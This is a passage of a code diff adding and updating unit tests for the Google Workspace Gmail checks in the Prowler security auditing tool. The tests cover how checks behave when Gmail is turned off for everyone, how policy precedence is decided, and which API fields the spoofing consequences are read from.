mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled_test.py
index cc41ff3f66..da72d76b93 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -127,6 +128,38 @@ class TestGmailEncryptedAttachmentProtectionEnabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_encrypted_attachment_protection_enabled.gmail_encrypted_attachment_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_encrypted_attachment_protection_enabled.gmail_encrypted_attachment_protection_enabled import (
+ gmail_encrypted_attachment_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_encrypted_attachment_protection=False
+ )
+
+ findings = gmail_encrypted_attachment_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled_test.py
index 823f7ee899..caf1d59c53 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -97,6 +98,38 @@ class TestGmailEnhancedPreDeliveryScanningEnabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_enhanced_pre_delivery_scanning_enabled.gmail_enhanced_pre_delivery_scanning_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_enhanced_pre_delivery_scanning_enabled.gmail_enhanced_pre_delivery_scanning_enabled import (
+ gmail_enhanced_pre_delivery_scanning_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_enhanced_pre_delivery_scanning=False
+ )
+
+ findings = gmail_enhanced_pre_delivery_scanning_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled_test.py
index 17b0bf7624..01782be7b1 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -91,6 +92,38 @@ class TestGmailExternalImageScanningEnabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_external_image_scanning_enabled.gmail_external_image_scanning_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_external_image_scanning_enabled.gmail_external_image_scanning_enabled import (
+ gmail_external_image_scanning_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_external_image_scanning=False
+ )
+
+ findings = gmail_external_image_scanning_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled_test.py
index 1decd300f2..aab36d881c 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -190,6 +191,38 @@ class TestGmailGroupsSpoofingProtectionEnabled:
assert findings[0].status == "FAIL"
assert "insecure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_groups_spoofing_protection_enabled.gmail_groups_spoofing_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_groups_spoofing_protection_enabled.gmail_groups_spoofing_protection_enabled import (
+ gmail_groups_spoofing_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", detect_groups_spoofing=False
+ )
+
+ findings = gmail_groups_spoofing_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled_test.py
index 1677df655c..9f008f3f82 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -157,6 +158,38 @@ class TestGmailInboundDomainSpoofingProtectionEnabled:
assert findings[0].status == "FAIL"
assert "default action" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_inbound_domain_spoofing_protection_enabled.gmail_inbound_domain_spoofing_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_inbound_domain_spoofing_protection_enabled.gmail_inbound_domain_spoofing_protection_enabled import (
+ gmail_inbound_domain_spoofing_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", detect_inbound_domain_spoofing=False
+ )
+
+ findings = gmail_inbound_domain_spoofing_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled_test.py
index e471d030ff..e532f122b5 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -91,6 +92,38 @@ class TestGmailMailDelegationDisabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_mail_delegation_disabled.gmail_mail_delegation_disabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_mail_delegation_disabled.gmail_mail_delegation_disabled import (
+ gmail_mail_delegation_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_mail_delegation=True
+ )
+
+ findings = gmail_mail_delegation_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no mailbox can be delegated."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled_test.py
index 2fe105df42..66cd324714 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -91,6 +92,38 @@ class TestGmailPerUserOutboundGatewayDisabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_per_user_outbound_gateway_disabled.gmail_per_user_outbound_gateway_disabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_per_user_outbound_gateway_disabled.gmail_per_user_outbound_gateway_disabled import (
+ gmail_per_user_outbound_gateway_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", allow_per_user_outbound_gateway=True
+ )
+
+ findings = gmail_per_user_outbound_gateway_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no outbound gateway can be used."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled_test.py
index d5f87ac2c8..fb55ead078 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -156,6 +157,40 @@ class TestGmailPopImapAccessDisabled:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_pop_imap_access_disabled.gmail_pop_imap_access_disabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_pop_imap_access_disabled.gmail_pop_imap_access_disabled import (
+ gmail_pop_imap_access_disabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED",
+ enable_pop_access=True,
+ enable_imap_access=True,
+ )
+
+ findings = gmail_pop_imap_access_disabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no mailbox can be reached over POP or IMAP."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled_test.py
index 9f04178457..5eaef5ccd1 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -127,6 +128,38 @@ class TestGmailScriptAttachmentProtectionEnabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_script_attachment_protection_enabled.gmail_script_attachment_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_script_attachment_protection_enabled.gmail_script_attachment_protection_enabled import (
+ gmail_script_attachment_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_script_attachment_protection=False
+ )
+
+ findings = gmail_script_attachment_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_service_test.py b/tests/providers/googleworkspace/services/gmail/gmail_service_test.py
index cdfa29ed14..e17323756e 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_service_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_service_test.py
@@ -58,11 +58,11 @@ class TestGmailService:
"type": "settings/gmail.spoofing_and_authentication",
"value": {
"detectDomainNameSpoofing": True,
- "domainSpoofingConsequence": "SPAM_FOLDER",
+ "domainNameSpoofingConsequence": "SPAM_FOLDER",
"detectEmployeeNameSpoofing": True,
"employeeNameSpoofingConsequence": "SPAM_FOLDER",
"detectDomainSpoofingFromUnauthenticatedSenders": True,
- "inboundDomainSpoofingConsequence": "QUARANTINE",
+ "domainSpoofingConsequence": "QUARANTINE",
"detectUnauthenticatedEmails": True,
"unauthenticatedEmailConsequence": "WARNING",
"detectGroupsSpoofing": True,
@@ -146,7 +146,7 @@ class TestGmailService:
assert gmail.policies.enable_external_image_scanning is True
assert gmail.policies.enable_aggressive_warnings_on_untrusted_links is True
assert gmail.policies.detect_domain_name_spoofing is True
- assert gmail.policies.domain_spoofing_consequence == "SPAM_FOLDER"
+ assert gmail.policies.domain_name_spoofing_consequence == "SPAM_FOLDER"
assert gmail.policies.detect_employee_name_spoofing is True
assert gmail.policies.employee_name_spoofing_consequence == "SPAM_FOLDER"
assert gmail.policies.detect_inbound_domain_spoofing is True
@@ -162,6 +162,225 @@ class TestGmailService:
assert gmail.policies.enable_enhanced_pre_delivery_scanning is True
assert gmail.policies.comprehensive_mail_storage_enabled is True
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/gmail.auto_forwarding",
+ "value": {"enableAutoForwarding": False},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00008},
+ "setting": {
+ "type": "settings/gmail.auto_forwarding",
+ "value": {"enableAutoForwarding": True},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_service import (
+ Gmail,
+ )
+
+ gmail = Gmail(mock_provider)
+
+ assert gmail.policies_fetched is True
+ assert gmail.policies.enable_auto_forwarding is False
+
+ def test_off_for_everyone_when_off_at_the_root_with_no_override(self):
+ """A root-level DISABLED status with no org unit or group override is off for everyone"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {
+ "orgUnit": f"orgUnits/{ROOT_ORG_UNIT_ID}",
+ "sortOrder": 201.00122,
+ },
+ "setting": {
+ "type": "settings/gmail.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_service import (
+ Gmail,
+ )
+
+ fetched = Gmail(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is False
+ assert fetched.policies.off_for_everyone is True
+
+ def test_reads_the_service_status_and_its_overrides(self):
+ """Off at the customer level only counts when no org unit or group turns the service back on"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00122},
+ "setting": {
+ "type": "settings/gmail.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "ADMIN",
+ "policyQuery": {"orgUnit": "orgUnits/sub", "sortOrder": 301.00122},
+ "setting": {
+ "type": "settings/gmail.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_service import (
+ Gmail,
+ )
+
+ fetched = Gmail(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is True
+ assert fetched.policies.off_for_everyone is False
+
+ def test_each_spoofing_action_is_read_from_its_own_field(self):
+ """The API pairs each detect flag with a consequence: domainNameSpoofing
+ for similar domain names and domainSpoofing for inbound emails spoofing
+ the domain. Reading the wrong one left the inbound check unable to pass
+ and the similar-names check reporting the inbound action."""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "setting": {
+ "type": "settings/gmail.spoofing_and_authentication",
+ "value": {
+ "detectDomainNameSpoofing": True,
+ "domainNameSpoofingConsequence": "WARNING",
+ "detectEmployeeNameSpoofing": True,
+ "employeeNameSpoofingConsequence": "QUARANTINE",
+ "detectDomainSpoofingFromUnauthenticatedSenders": True,
+ "domainSpoofingConsequence": "SPAM_FOLDER",
+ "detectUnauthenticatedEmails": False,
+ "unauthenticatedEmailConsequence": "NO_ACTION",
+ "detectGroupsSpoofing": True,
+ "groupsSpoofingVisibilityType": "ALL_GROUPS",
+ "groupsSpoofingConsequence": "QUARANTINE",
+ },
+ }
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_service import (
+ Gmail,
+ )
+
+ gmail = Gmail(mock_provider)
+
+ assert gmail.policies.domain_name_spoofing_consequence == "WARNING"
+ assert gmail.policies.employee_name_spoofing_consequence == "QUARANTINE"
+ assert gmail.policies.inbound_domain_spoofing_consequence == "SPAM_FOLDER"
+ assert gmail.policies.unauthenticated_email_consequence == "NO_ACTION"
+ assert gmail.policies.groups_spoofing_consequence == "QUARANTINE"
+
def test_gmail_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
@@ -490,7 +709,7 @@ class TestGmailService:
enable_external_image_scanning=True,
enable_aggressive_warnings_on_untrusted_links=True,
detect_domain_name_spoofing=True,
- domain_spoofing_consequence="SPAM_FOLDER",
+ domain_name_spoofing_consequence="SPAM_FOLDER",
detect_employee_name_spoofing=True,
employee_name_spoofing_consequence="SPAM_FOLDER",
detect_inbound_domain_spoofing=True,
@@ -512,7 +731,7 @@ class TestGmailService:
assert policies.encrypted_attachment_protection_consequence == "SPAM_FOLDER"
assert policies.enable_shortener_scanning is True
assert policies.detect_domain_name_spoofing is True
- assert policies.domain_spoofing_consequence == "SPAM_FOLDER"
+ assert policies.domain_name_spoofing_consequence == "SPAM_FOLDER"
assert policies.enable_pop_access is False
assert policies.enable_auto_forwarding is False
assert policies.enable_enhanced_pre_delivery_scanning is True
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled_test.py
index 11fbe29098..80232cd87a 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -91,6 +92,38 @@ class TestGmailShortenerScanningEnabled:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_shortener_scanning_enabled.gmail_shortener_scanning_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_shortener_scanning_enabled.gmail_shortener_scanning_enabled import (
+ gmail_shortener_scanning_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", enable_shortener_scanning=False
+ )
+
+ findings = gmail_shortener_scanning_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
